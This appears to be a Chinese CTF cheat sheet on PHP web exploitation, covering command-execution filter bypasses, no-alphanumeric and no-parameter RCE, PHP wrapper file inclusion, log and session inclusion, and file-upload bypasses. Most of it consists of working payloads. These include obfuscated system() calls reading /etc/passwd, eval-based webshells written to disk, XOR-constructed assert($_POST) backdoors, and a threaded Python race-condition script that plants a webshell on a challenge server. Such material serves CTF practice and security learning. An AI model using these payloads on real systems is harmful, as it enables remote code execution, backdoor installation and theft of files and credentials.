目录
文件上传 上传的是可执行文件,从某种意义上说,文件上传漏洞最终的目的就是执行任意命令 文件包含 常用到伪协议
命令执行
命令执行函数
php代码执行函数php代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort(),class_exists等 php命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、curl_exec、popen()、proc_popen()、passthru()等(反引号)、Curly Syntax(花括号语法)
1.preg_replace()preg_replace()的第一个参数如果存在/e 模式修饰符,则允许代码执行。如果没有 /e 修饰符,则可以尝试 %00 截断。php命令执行函数
Windows常见管道符
a|b:先执行命令a,再执行命令b,并将命令a的输出作为命令b的输入,无论命令a结果如何都会执行命令b,像流水线一样
a||b:先执行命令a,再执行命令b,表示或的关系,命令a失败才会执行命令b
a&b:先执行命令a,再执行命令b,不管命令a成功与否都会执行命令b
a&&b:先执行命令a,再执行命令b,表示与的关系,命令a成功才会执行命令b
Linux常见管道符
Windows常见管道符在Linux中同样适用
Linux中还多了一个管道符';'其与&的用法相同
空格绕过
%20(space)
${IFS}
$IFS$9 -- IFS后的$与{}作用类似,都起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符,因此可以绕过空格,9也可以换成其他数字
%09 -- 需要php环境,水平制表符
< -- 重定向
<> -- 重定向
%0a 换行符
换页符
垂直制表符
url编码
或将这些符号 16进制编码
{,}
%09,%20,
%0a,%0b,%0c,%0d,%a0
${IFS},$IFS,$IFS$n //n为1~100,如$IFS$9
<,<>
$IFS$9,$IFS,$*,%09,${IFS},<,<>,$IFS$1,\t
分号绕过
在bash下可以用%0a换行符
黑名单绕过
(1)单引号、双引号绕过,如cat fl''ag.php、cat fl""ag.php
单引号 l''s
双引号 l""s
反引号 l``s
反斜线 l\s
(2)空变量$1到$9,$@,$*等绕过,如cat fl$1ag.php、cat fl$2ag.php、cat fl$@ag.php
(3)反斜杠绕过,如cat fl\ag.php
(4)base64编码绕过,如echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh等价于cat flag.php,有时候sh被过滤也可以选用bash解释器
十六进制
echo "6c73" | xxd -r -p|bash --执行了ls ,而且十六进制前面的\x不需要加,bash也可以换成sh
八进制
$(printf "\154\163") 文本到八进制-将文本字符转换为八进制值-photo333.com
(5)字符拼接,如a=g;cat$IFS$9fla$a.php等价于cat flag.php,
a=l;b=s;$a$b --执行ls
对于拼接的方式有很多种,需要进行尝试
?c=eval($_GET[1]);&1=system('tac flag.php');
(6)读文件绕过,既当cat被过滤时
more -- 一页一页显示文档内容
less -- 与more类似
head -- 查看头几行
tail -- 查看尾几行
vi、vim -- 编辑器查看
nl
tac
(7)使用通配符绕过,
cat f*
cat fla?.php
(8)有权限还可以***
?c=system('echo \'<?php @eval($_REQUEST["cmd"]); ?>\' > eval.php');
(9)Shell 脚本或命令行中,反引号` ` 和 $() 用于执行命令并获取其输出 // ESC 加~
?c=echo `ls`;
(10)无参数函数 // 下面有提到
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
(11) ?> 是为了闭合前面的 php 语句,因为分号被过滤了,
(12)其它
/flag,flag.php,/f*,/fla*,
/fl''ag,fl''ag.php,/fl""ag,fl""ag.php,
/f\lag,f\lag.php,
/f'l'ag,/f"l"ag,f'l'ag.php,f"l"ag.php,
/fl?g ,fl?g.php,
/[e-g]lag,[e-g]lag.php,/[a-z]lag,
fla?.???,/????,????.???,/f*g,
/f{l,a,g},f{l,a,g}.php,/f+l+a+g,/f.l.a.g,
/666c6167,/FLAG
cat替代
cat,tac,more,head,tail,nl,strings,sort,less,awk,sed,grep,base64,rev,od,vi,vim,uniq,c\at,ta\c,m\ore,he\ad,ta\il,n\l,str\ings,so\rt,le\ss,a\wk,s\ed,gr\ep,ba\se64,re\v,o\d,v\i,vi\m,un\iq,c''at,ta''c,m''ore,he''ad,ta''il,n''l,str''ings,so''rt,le''ss,a''wk,s''ed,gr''ep,ba''se64,re''v,o''d,v''i,vi''m,un''iq,/bin/c?t ,/???/c?t
more
用途:主要用于分页显示文件内容,适合查看较长的文本文件。当文件内容超过一屏时,会逐页显示,方便用户查看。
示例:more large_file.txt ,按空格键翻页,按 Enter 键逐行查看。
less
用途:功能比 more 更强大,支持向前和向后翻页、搜索等操作。对于大文件的查看更为高效,因为它不需要将整个文件加载到内存中。
示例:less huge_file.log ,使用 PageUp 和 PageDown 键翻页,/ 键进行搜索。
head
用途:用于显示文件的开头部分,默认显示前 10 行。可通过 -n 选项指定显示的行数。
示例:head -n 5 file.txt 显示 file.txt 的前 5 行。
sort
用途:对文本文件进行排序,默认按字典序排序。可通过选项指定按数字、日期等排序。
示例:sort -n numbers.txt 按数字顺序对 numbers.txt 中的内容进行排序。
tail
用途:显示文件的末尾部分,默认显示最后 10 行。可通过 -n 选项指定显示的行数。
示例:tail -n 3 log.txt 显示 log.txt 的最后 3 行。
sed
用途:流编辑器,可对文本进行替换、删除、插入等操作。
示例:sed 's/old/new/g' file.txt 将 file.txt 中所有的 old 替换为 new。
cut
用途:从文本文件中提取指定的列。可根据分隔符将每行分割成多个字段,并选择特定字段输出。
示例:cut -d ',' -f 2 data.csv 以逗号为分隔符,提取 data.csv 中的第二列。
awk
用途:功能强大的文本处理工具,可逐行处理文本,支持自定义处理逻辑和条件语句。
示例:awk '{print $1}' file.txt 打印 file.txt 每行的第一个字段。
strings
用途:从二进制文件中提取可打印的字符串,常用于查看可执行文件或库文件中的文本信息。
示例:strings binary_file 提取 binary_file 中的可打印字符串。
od
用途:以不同格式(如八进制、十六进制)显示文件内容。
示例:od -x file.bin 以十六进制格式显示 file.bin 的内容。
curl
用途:用于在命令行中传输数据,支持多种协议,可用于下载文件或与 Web 服务交互。
示例:curl -O http://example.com/file.txt 下载 http://example.com/file.txt 文件。
tac
用途:与 cat 相反,tac 是将文件内容按行逆序输出。
示例:tac file.txt 逆序显示 file.txt 的内容。
nl
用途:给文件的每一行添加行号,然后输出。
示例:nl file.txt 为 file.txt 的每行添加行号并输出。
vi
用途:是一个强大的文本编辑器,可用于查看和编辑文件内容。
示例:vi file.txt 打开 file.txt 文件进行查看和编辑。
uniq
用途:用于去除文件中相邻的重复行。通常与 sort 命令结合使用,先排序再去重。
示例:sort file.txt | uniq 对 file.txt 排序后去除相邻重复行。
rev
用途:将文件中每行的字符顺序反转。
示例:rev file.txt 反转 file.txt 中每行的字符顺序。
cp
用途:用于复制文件或目录。
示例:cp source.txt destination.txt 将 source.txt 复制为 destination.txt。
mv
用途:用于移动文件或目录,也可用于重命名文件或目录。
示例:mv old_name.txt new_name.txt 将 old_name.txt 重命名为 new_name.txt。
grep
用途:在文本中查找指定的字符串或模式。
示例:grep 'keyword' file.txt 在 file.txt 中查找包含 keyword 的行。
补充命令
bat
用途:是 cat 的一个增强替代品,它会对代码文件进行语法高亮显示,还会显示行号,使文件内容更易读。
示例:bat script.py 以语法高亮的方式显示 script.py 的内容。
pico
用途:一个简单易用的文本编辑器,可用于查看和编辑文件内容,操作相对简单,适合初学者。
示例:pico file.txt 打开 file.txt 进行查看和编辑。
wget
用途:要下载 https://example.com/file.zip 文件,可以使用以下命令:
示例:wget https://example.com/file.zip
Linux 有很多命令存放在 /bin/ 目录下,
?c=/bin/?at${IFS}f???????
ls 替代
find 命令
功能对比:ls 主要用于快速列出当前或指定目录下的文件和文件夹,操作相对简单直接。而 find 命令功能更强大且灵活,它不仅能列出文件和目录,还能基于多种条件(如文件名、文件类型、文件大小、修改时间等)在指定目录及其子目录下进行深度查找。
示例:ls /tmp 快速列出 /tmp 目录下的内容;find /tmp -name "*.log" 会在 /tmp 目录及其子目录下查找所有扩展名为 .log 的文件。
tree 命令
功能对比:ls 以列表形式展示目录内容,对于复杂的目录结构,层级关系不够直观。tree 命令以树状结构展示目录及其子目录下的所有内容,能清晰呈现目录的层级结构。
示例:ls /var 以列表形式显示 /var 目录下的内容;tree /var 以树状形式展示 /var 目录及其子目录的详细层级结构。
dir 命令
功能对比:在 Windows 系统的命令提示符中,dir 是用于列出目录内容的标准命令。在功能上与 Linux 系统的 ls 命令类似,都是简单地列出目录中的文件和文件夹。
示例:在 Windows 命令提示符中输入 dir C:\Users 列出 C:\Users 目录下的内容,在 Linux 中则可以用 ls /home 列出 /home 目录下的内容。
stat 命令
功能对比:ls 通常只显示文件和目录的基本信息,如文件名、权限、所有者、大小、修改时间等。stat 命令专注于显示单个文件或目录的详细属性,包括设备 ID、inode 号、链接数、访问时间等更底层的信息。
示例:ls -l /etc/passwd 显示 /etc/passwd 文件的基本信息;stat /etc/passwd 显示 /etc/passwd 文件的详细属性信息。
其他类似命令
gls 命令
功能对比:gls 是 GNU 版本的 ls 命令,在 GNU 环境下提供了与 ls 相同的核心功能,同时可能还会有一些额外的特性或选项。在支持 GNU 工具的系统中,gls 可以替代 ls 使用。
示例:gls -al 与 ls -al 功能相同,以长格式显示当前目录下包括隐藏文件在内的所有内容。
exa 命令
功能对比:exa 是 ls 命令的现代替代品,它提供了更丰富的功能和更美观的输出格式。除了基本的文件和目录列表功能外,exa 还支持语法高亮、彩色输出、显示 Git 状态等。
示例:exa --git 不仅列出目录内容,还会显示每个文件或目录的 Git 状态信息。
lsd 命令
功能对比:lsd 同样是 ls 的增强版,它在输出格式上进行了优化,提供了更清晰、美观的显示效果,支持图标显示、树形结构展示等功能。
示例:lsd --tree 以树状结构展示当前目录及其子目录的内容,并带有图标,使输出更加直观。
vdir 命令
功能对比:vdir 实际上是 ls -l 的一个别名,它默认以长格式列出目录内容,功能与 ls -l 相同。
示例:vdir 等同于 ls -l,会以长格式显示当前目录下的文件和文件夹信息。
URL请求中system()函数
1)十六进制绕过
?code="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd"); --system("cat /etc/passwd");
2)点括号绕过
?code=(sy.(st).em)(whoami);
3)设定参数绕过
?a=system&b=cat+/etc&c=/passwd&code=$_GET[a]($_GET[b].$_GET[c]);
4) 插入注释(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)
php -r "system/*caixukun*/(whoami);"
php -r "system/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"
php -r "(sy./*caixukun*/(st)/*caixukun*/.em)/*caixukun*/(wh./*caixukun*/(oa)/*caixukun*/.mi);"
长度绕过
前备知识:1.linux中>和>>
1)>写入文件,如果文件存在则覆盖,如果文件不存在则创建文件
echo 'hello world'>2.txt #先echo(无回显),再写入2.txt
2)>>写入文件,如果文件存在则追加在文件最后面,不存在则创建
2.命令换行(\)
[root@yf ~]# ca\ >t \ >flag\ >.txt
#命令行执行 cat flag.txt
既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下
这是我加单反斜线时可以执行,但是我发现双反斜线时也能执行
原因是:linux 单引号中\无法起转义作用,
\\
也视为一个字面的反斜杠\
不过当把上述指令中的单引号('')全部换为双引号("")时,就必须使用双反斜线了,因为
双引号中,反斜线(\)允许实现转义功能。
?cmd=ls | tee 1.txt
像是文件包含
echo " "
c=print_r(scandir('/'))
c=var_dump(scandir('/'))
c=var_export(scandir('/'));
c=echo(scandir("/")[6]);exit();
php 中查看目录的函数有:scandir()、golb()、dirname()、basename()、realpath()、getcwd() ,其中 scandir()、golb() 、dirname()、basename()、realpath() 都需要给定参数,而 getcwd() 不需要参数,getchwd() 函数会返回当前工作目录。
c=load_file('flag.php')
c=show_source('flag.php');
c=highlight_file('flag.php');
c=readfile("flag.php");
c=include("1.txt"); // 对于 txt 文件, include 进行包含就可以直接看到文件内容:
c=require("/flag.txt");
c=copy("flag.php","flag.txt"); 然后直接访问
rename 函数 将flag.php 重命名为 txt 文件,之后直接访问读取,和上面的 copy 差不多
c=echo file_get_contents("flag.php");
c=print_r(file("flag.php"));
include ('flag.php')
include ('php://fliter/convert.base64-encode/resource= /flag.php')
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
include ($_GET[file]);
?file=pHp://input<?php phpinfo()?>
?file=data://text/plain,<?=`tac flag.php`;
?file=/var/log/nginx/access.log
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=print_r(file("flag.php"));
c=copy("flag.php","flag.txt"); 执行后直接访问 flag.txt
rename 函数
glob协议获取目录
scandir('/')被禁用,glob协议获取目录
glob协议
主要功能是遍历根目录(/)下的所有文件和目录,并将它们的名称打印输出
// 读取根目录
/****************************法1*****************************************/
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
/*****************************法2****************************************/
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
/*****************************法3(多打印\n)****************************************/
$a = opendir("glob:///*"); // 打开根目录,并将目录句柄赋值给$a
while (($file = readdir($a)) !== false) { // 循环读取目录中的每个条目
echo $file . "<br>"; // 输出每个条目的名称,并添加HTML换行标签
};
exit(); // 终止脚本执行
/*********************************************************************************/
/*********************************************************************************/
// 打印flag.txt // include("/flag.txt")
/*********************************************************************************/
/*********************************************************************************/
或者找代码 当前页面 https://myon6.blog.youkuaiyun.com/article/details/140079942
使用数据库 https://myon6.blog.youkuaiyun.com/article/details/140099168
mysql load_file 读文件
c=try {
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
// 输出读取到的内容,并追加一个竖线(|)
echo($row[0])."|";
}
// 将数据库连接对象设置为null,关闭连接
$dbh = null;
} catch (PDOException $e) {
// 如果发生PDO异常,输出错误信息
echo $e->getMessage();
// 终止脚本执行
die();
}
// 终止脚本执行
exit();
当然我们也可以查一下有哪些数据库:
c=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA"); foreach($rs as $row){ echo($row[0])."|"; }exit();
查 ctftraining 数据库下的所有表:
c=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(TABLE_NAME) FROM TABLES WHERE TABLE_SCHEMA = 'ctftraining'"); foreach($rs as $row){ echo($row[0])."|"; }exit();
查该表下的列名:
c=$dsn = "mysql:host=localhost;dbname=information_schema"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("select group_concat(COLUMN_NAME) FROM COLUMNS WHERE TABLE_SCHEMA = 'ctftraining' and TABLE_NAME = 'FLAG_TABLE'"); foreach($rs as $row){ echo($row[0])."|"; }exit();
查询具体字段信息:
c=$dsn = "mysql:host=localhost;dbname=ctftraining"; $db = new PDO($dsn, 'root', 'root'); $rs = $db->query("SELECT FLAG_COLUMN FROM FLAG_TABLE"); foreach($rs as $row){ echo($row[0])."|"; }exit();
调用 C 语言的 system 函数
用 PHP 中的 FFI(Foreign Function Interface)来调用 C 语言的 system 函数,并执行一个 Shell 命令。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 $a='/readflag > 1.txt';//没有回显的 $ffi->system($a);//通过$ffi去调用system函数
c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a); c=$ffi = FFI::cdef("int system(const char *command);");$a='cat /flag36x.txt> 2.txt';$ffi->system($a);
Linux 的内置变量
在 Linux 系统中,有许多内置变量(环境变量)用于配置系统行为和存储系统信息。 (1)$BASH 描述:指向当前使用的Bash解释器的路径。 示例:/bin/bash 用途:用于确定正在使用的Bash版本和路径。 (2) $PATH 描述:存储一系列路径,这些路径用于查找可执行文件,当你在命令行中输入命令时,系统会在这些路径中查找对应的可执行文件。 示例:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 用途:影响命令的查找和执行,可以添加自定义脚本或程序的路径。 (3)$HOME 描述:当前用户的主目录路径。 示例:/home/username 用途:表示当前用户的主目录,通常用于存储用户配置文件和个人数据。 (4)$PWD 描述:当前工作目录(Present Working Directory)。 示例:/home/username/projects 用途:表示当前的工作目录路径,常用于脚本和命令中获取或显示当前目录。 (5)$USER 描述:当前登录的用户名。 示例:username 用途:表示当前用户的名称,常用于显示或检查用户信息。 (6)$SHELL 描述:当前用户的默认shell。 示例:/bin/bash 用途:表示用户登录时使用的默认shell路径。 (7)$UID 描述:当前用户的用户ID。 示例:1000(普通用户),0(root用户) 用途:标识当前用户的唯一ID。 (8)$IFS 描述:内部字段分隔符(Internal Field Separator),用于分割输入的字段,默认为空格、制表符和换行符。 示例:默认值为<space><tab><newline> 用途:影响脚本中的字段分割,常用于处理输入和解析文本。 (9) $RANDOM 它会生成一个随机数,长度一般是 4 位或者 5 位,也就是说我们可以得到 4 或者 5 。 详细:https://myon6.blog.youkuaiyun.com/article/details/140145005 https://myon6.blog.youkuaiyun.com/article/details/140150453
当然题目还给了其他 payload: ${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? 在Bash中,${#var} 的语法用于获取变量 var 的长度(即字符数)。 这种形式可以应用于任何变量,无论是字符串变量还是环境变量。 我们知道 ${HOME} 是 /root,因此 ${#HOME} 就是 5。 $PWD 应该是 /var/www/html(网页服务所在的常见路径); 而 $PATH 的结尾应该也是 /bin(这个在前面我们已经测试过了)。 在Bash中,${#var} 的语法用于获取变量 var 的长度(即字符数)。 nl flag.php ${PATH:~Q}${PWD:~Q} ????.??? ${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.??? ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.??? ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~Q}? ????.??? ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.??? code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.??? code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
无字母数字等RCE
不用字母数字等构造命令
payload:
?code=(~%8F%97%8F%96%91%99%90)(); #phpinfo() ?code=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5); #system('cat /f*');payload 1:
<?php
$_=('!'^'@').('^'^'-').('^'^'-').('@'^'%').('^'^',').('^'^'*'); //assert
$__=('{'^'_').('!'^'~').('}'^'-').('/'^'`').('('^'{').('*'^'~').('%'^'~').('!'^'~').('}'^' '); //$_POST[_]
$_($__); //assert($_POST[_]);
?>payload 2:(有必要时对双引号中字符进行url编码,此处可以把后面双斜杠后面去掉就可以使用了)
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
无参数RCE
主要
1、getallheaders() //获取流量包里的协议头
2、get_defined_vars() //获取已定义的所有数组
3、session_id()
配套
implode() 将一维数组转化为字符串
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)。
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
payload理解:
getallheaders()用于获取所有HTTP头里面的键值 end(getallheaders())用于指向HTTP头里的最后一个值 current(getallheaders())用于指向HTTP头里的第一个值 //pos同理,就是current的变名。 system(end(getallheaders()))则执行HTTP头中最后一个的值。 即实际shellcode=system('ls /');
step1:读取当下目录?exp=var_dump(scandir(current(localeconv())));
step2:颠倒一下数组顺序?exp=var_dump(array_reverse(scandir(current(localeconv()))));
step3:颠倒顺序之后在index.php基础上读取下一个,就是flag.php?exp=var_dump(next(array_reverse(scandir(current(localeconv())))));
step4:高亮读取flag.php文件。?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
step4:读取码源才可以看flag。?exp=readfile(next(array_reverse(scandir(current(localeconv())))));
?exp=print_r(scandir(current(localeconv())));
getallheaders()
code=eval(end(getallheaders())); code=eval(pos(getallheaders()));
get_defined_vars()
exp=eval(end(current(get_defined_vars())));&test=system(ls);
session_id()
import requests import binascii url = 'https://97a5ecc3-3507-4d54-bf86-0076b21bddb2.challenge.ctf.show/?c=eval(hex2bin(session_id(session_start())));' exp = "system('ls');" # 构造恶意代码 exp_hex = binascii.hexlify(exp.encode()).decode() # 编码为十六进制字符串 cookies = { 'PHPSESSID': exp_hex } r = requests.get(url=url, cookies=cookies) print(r.text)
?c=session_start();system(session_id());
再次抓包即可看到 cookie 多出了 PHPSESSID 这:修改 PHPSESSID 为我们希望执行的命令,即可实现命令执行:
自增RCE
适用于未过滤 $ _ []
<?php $_=[].''; //空数组[]→字符串 $___=$_[$__]; //$__没有定义→默认0。$_在这里引申为字符串。故综合理解$___可以为 字符串(0)→ 'A' $__=$___; //这个时候$__为'A' $_=$__; //此时$_为'A' $_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__; //此时$_表示'S'; $___.= $__; //把'S'加到'A'后面去→得到'AS' $___.= $__; //再次将$__追加到$___后面,现在$___的值为'ASS' //同理一路下去得到payload:Assert($_POST[_]);
临时文件
有时网站会把我们上传的文件存放在tmp目录下,形式为/tmp/phpxxxxxx
关于. 的命令执行,当.与文件名搭配时,会执行该文件中的命令(前提:该文件有执行(x)权限)。
例如,./1.txt 表示在当前目录下执行名为 1.txt 的shell脚本。
当发现权限不够时,则执行指令:
chmod +x 1.txt
./1.txt
文件包含
伪协议
1. php://filter伪协议
条件:需要开启allow_url_fopen=on
用法:?file=php://filter/read=convert.base64-encode/resource=xxx.php
解释:通过指定末尾文件,可以读取经base64加密后的文件源码,能够读取敏感文件
2. php://input伪协议
条件:需要开启allow_url_include=on
用法:?file=php://input
解释:在url中输入?file=php://input,数据通过POST传过去,可以写入木马,可以命令执行
3. zip://伪协议
条件:PHP版本>=5.3.0,或者需要手动将#编码成%23
用法:?file=zip://[压缩文件路径]#[压缩文件内的子文件名]
解释:通过在本地新建一个文件test.php,并且压缩成test.zip压缩包,之后便可以用zip伪协议包含test.php
4. phar://伪协议
用法:?file=phar://[压缩文件路径]/[压缩文件内的子文件名]
解释:与zip://伪协议类似但用法不同,区别在于用/把压缩文件路径和压缩文件内的子文件名分隔开
5. data:text/plain伪协议
条件:需要开启allow_url_fopen=on和allow_url_include=on
用法1:?file=data:text/plain,<?php 执行内容 ?>
用法2:?file=date:text/plain;base64编码后的php代码
解释:与php伪协议的input类似,可以执行任意代码但是利用条件和用法不同,并且经过base64编码后的加号和等号要手动进行url编码,以免浏览器识别不了
6. file://伪协议
用法:?file=file://文件绝对路径
解释:用于访问本地文件系统,不受allow_url_fopen和allow_url_include的影响
7. compress.zlib:// 协议
用法:?file=compress.zlib://flag.php
解释:在 PHP 中,compress.zlib:// 是一种封装协议(wrapper),它允许对文件进行压缩或解压缩操作。当使用 compress.zlib:// 作为文件路径的前缀时,PHP 会尝试以 Zlib 压缩格式读取或写入文件。
?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter/write=string.rot13/resource=sh.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
php://filter/read=string.strip_tags|convert.base64-decode/resource=hack.php
?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
?file=compress.zlib://flag.php
?file=php://filter/resource=flag.php
一些路径
url=file:///var/www/html/flag.php
/etc/passwd 是 Linux 和类 Unix 系统中一个重要的文件,它包含了系统用户的基本信息,如用户名、用户 ID、组 ID、家目录等。
/var/www/html/flag.php
是一个具体的文件路径。flag.php
可能是一个包含敏感信息(如 CTF 比赛中的 Flag 信息)或者关键业务逻辑的 PHP 文件。/var/www/html 在 Linux 系统里通常是 Web 服务器(如 Apache、Nginx)的默认文档根目录,
url=http://127.0.0.1/flag.php
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
日志包含
此方法需要未过滤 点 ' . ' ,可在过滤冒号“ :” 后使用
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和
/var/log/nginx/error.log
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
session 对话--条件竞争
session_unset()只是清空会话变量,但会话仍然存在。
session_destroy()完全销毁会话,包括会话数据和会话ID。
两者常常一起使用,以确保会话数据被清除,并确保会话本身被销毁
system("rm -rf /tmp/*"); 删除我们上传的文件,其实 session.upload_progress.cleanup = on 本身就会进行清空
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
以上对于我们这里的条件竞争影响不大,条件竞争可以继续使用
在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行
import requests
import io
import threading
url='https://84202b35-60d0-4bd2-bee2-781631694f2c.challenge.ctf.show/'
sessionid='ctfshow'
data={
"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"
}
'''
post 传递内容可在网站目录下写入一句话木马。
根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
sessionid 可控,所以这里即 /tmp/sess_ctfshow。
这样一旦访问成功,就说明木马植入了
'''
# /tmp/sess_sessionid 中写入一句话木马。
def write(session):
fileBytes = io.BytesIO(b'a'*1024*50)
while True:
response=session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
},
cookies={
'PHPSESSID':sessionid
},
files={
'file':('ctfshow.jpg',fileBytes)
}
)
# 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
def read(session):
while True:
response=session.post(
url+'?file=/tmp/sess_'+sessionid,
data=data,
cookies={
'PHPSESSID':sessionid
}
)
# 访问木马文件,如果访问到了就代表竞争成功
resposne2=session.get(url+'muma.php')
if resposne2.status_code==200:
print('++++++done++++++')
else:
print(resposne2.status_code)
if __name__ == '__main__':
evnet=threading.Event()
# 写入和访问分别设置 5 个线程。
with requests.session() as session:
for i in range(5):
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
evnet.set()
对于前端脚本扩展名的检测,可以先修改一个合法的扩展名绕过前端的检测,再使用burp抓包对扩展名进行修改,以此来绕过前端的检测;此外也可以直接在检查页面将selectFile函数删掉
对于Content-Type检测文件类型的绕过,同样可以使用burp进行抓包修改数据包中文件的Content-Type类型,使其符合白名单的规则,从而实现绕过
对于后端服务器扩展名检测的绕过,需要首先上传后端服务器允许的文件后缀名,比如test.php.abc,在文件上传到服务器上之后,再通过一些手段使得服务器对该文件识别成test.php
文件上传
(1)服务器解析漏洞
Apache解析漏洞:即Apache识别文件类型是从右向左识别的,如果遇到不认识的扩展名会向前依次识别,直到遇到能识别的扩展名,因此test.php.abc在Apache解析漏洞下会被识别成test.php
iis5.x-6.x解析漏洞:服务器默认会把.asp、.asa目录下的文件都解析成asp文件
nginx解析漏洞Linux环境下使用
/.
绕过,Windows环境下可以使用%00
截断
(2)00截断上传
即利用程序员在写程序时对文件的上传路径过滤不严格,产生0x00上传截断漏洞,即上传test.php.abc文件,并使用burp抓包,点击hex进入十六进制源码界面,找到test.php.abc中abc前面的点的位置,将点的十六进制编码从2e改成00,从而服务器端在识别test.php.abc文件时,在第二个点处截断,从而将文件识别成test.php
00截断需要在php<5.3版本下才能复现
上传路径可控GET.POST %00 0x00 截断
(3)构造图片木马上传绕过
一般文件内容验证使用getimagesize()函数检测,会判断文件是否是一个有效的文件图片,则可以将木马文件和图片进行合并,这样文件类型是图片,但是却包含了恶意代码内容
(4)大小写绕过
由于Windows对大小写不敏感,Linux对大小写敏感,因此若服务器内核是Windows则可以通过大小写绕过成功
(5)文件头绕过
可以在正常的一句话木马前面加上一些文件信息,如GIF89a表示gif的文件幻数,绕过原理是若后端是用getimagesize()函数来进行文件类型判断的话,加上文件幻数后会被认为是一个图片
(6)文件后缀名绕过
